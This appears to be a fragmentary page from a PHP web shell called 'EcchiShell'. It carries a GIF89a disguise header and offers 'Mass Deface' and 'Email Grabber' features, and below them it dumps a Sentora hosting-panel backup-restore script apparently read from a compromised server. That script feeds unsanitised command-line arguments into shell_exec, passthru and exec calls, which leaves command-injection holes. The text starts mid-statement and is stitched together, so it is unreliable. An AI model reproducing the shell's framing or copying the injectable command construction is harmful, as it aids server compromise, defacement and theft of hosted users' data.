GIF89a; EcchiShell v1.0
//backup/

Mass Deface Email Grabber

"SET NAMES 'utf8'")); $zdbh->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); } catch (PDOException $e) { exit(); } $vhost_dir=ctrl_options::GetSystemOption('hosted_dir'); $path=$vhost_dir.trim($argv[1])."/backups/".trim($argv[2]); if(!file_exists($path)) { echo "File name does not exists in the given user backup folder"; exit; } /* ///////////////////////////////////////////// Calculation start /////////////////////////////////// */ $total_bk_size_in_kb=(int)shell_exec("unzip -l $path | tail -1 | awk '{print $1/1024}'"); $available_size_in_kb=(int)shell_exec("df | awk '{print $4}' | head -2 | tail -1"); $overall_size_in_kb=(int)shell_exec("df | awk '{print $2}' | head -2 | tail -1"); if($available_size_in_kb < $total_bk_size_in_kb ) { echo "Due to disk space exceeed, your restore does not working. kindly contact your administrator."; exit; } $remaining_kb=$available_size_in_kb - $total_bk_size_in_kb; $remaining_percentage = $remaining_kb / $overall_size_in_kb * 100 ; if($remaining_percentage < 5 ) { echo "Due to disk space exceeed, your restore not working. kindly contact your administrator."; exit; } /* ///////////////////////////////////////////// Calculation End /////////////////////////////////// */ $download=1; if (isset($argv[1]) && $argv[1] != "") { $username=trim($argv[1]); $rows = $zdbh->prepare("SELECT a.* FROM x_accounts a,x_profiles p,x_groups g,x_packages pa,x_quotas q WHERE a.ac_id_pk=p.ud_user_fk AND a.ac_group_fk=g.ug_id_pk AND a.ac_package_fk=pa.pk_id_pk AND a.ac_package_fk=q.qt_package_fk AND a.ac_user_vc= :ac_user_vc AND a.ac_deleted_ts is NULL"); $rows->bindParam(':ac_user_vc', $username); $rows->execute(); $res_count = $rows->rowCount(); if ( $res_count > 0 ) { //if ($rows->fetch()) { //$rows = $zdbh->prepare("SELECT a.* FROM x_accounts a,x_profiles p,x_groups g,x_packages pa,x_quotas q WHERE a.ac_id_pk=p.ud_user_fk AND a.ac_group_fk=g.ug_id_pk AND a.ac_package_fk=pa.pk_id_pk AND a.ac_package_fk=q.qt_package_fk AND a.ac_user_vc= :ac_user_vc"); //$rows->bindParam(':ac_user_vc', $username); //$rows->execute(); $dbvals = $rows->fetch(); $userid=$dbvals['ac_id_pk']; if ($backup = ExecuteRestore($userid, $username, $download,$argv[2])) { echo "Restore completed."; } else { //echo "

Unauthorized Access!

"; echo "You have no permission to view this module."; } } else { echo "Username does not exists."; exit(); } } function ExecuteRestore($userid, $username, $download = 0,$filename) { echo "Restore started. \n"; $vhost_dir=ctrl_options::GetSystemOption('hosted_dir'); //$dest_path="/var/sentora/hostdata/".$username."/"; $dest_path=$vhost_dir.$username."/"; // $src_path="/backup/".$username."/"; $src_path=$vhost_dir.$username."/backups/"; echo $cmd="cd $src_path && unzip -o $filename -d $dest_path 2>&1 "; $output=array(); $return_val=""; $output=passthru($cmd,$return_val); //exec("chown -R apache:apache $dest_path"); exec("chown -R $username:$username $dest_path"); $find_ser = trim(exec("whereis find | awk '{ print $2 }'")); exec("$find_ser $dest_path -type d -exec chmod 0755 {} \;"); exec("$find_ser $dest_path -type f -exec chmod 0644 {} \;"); //exec("chmod -R 0755 $dest_path"); return TRUE; } ?>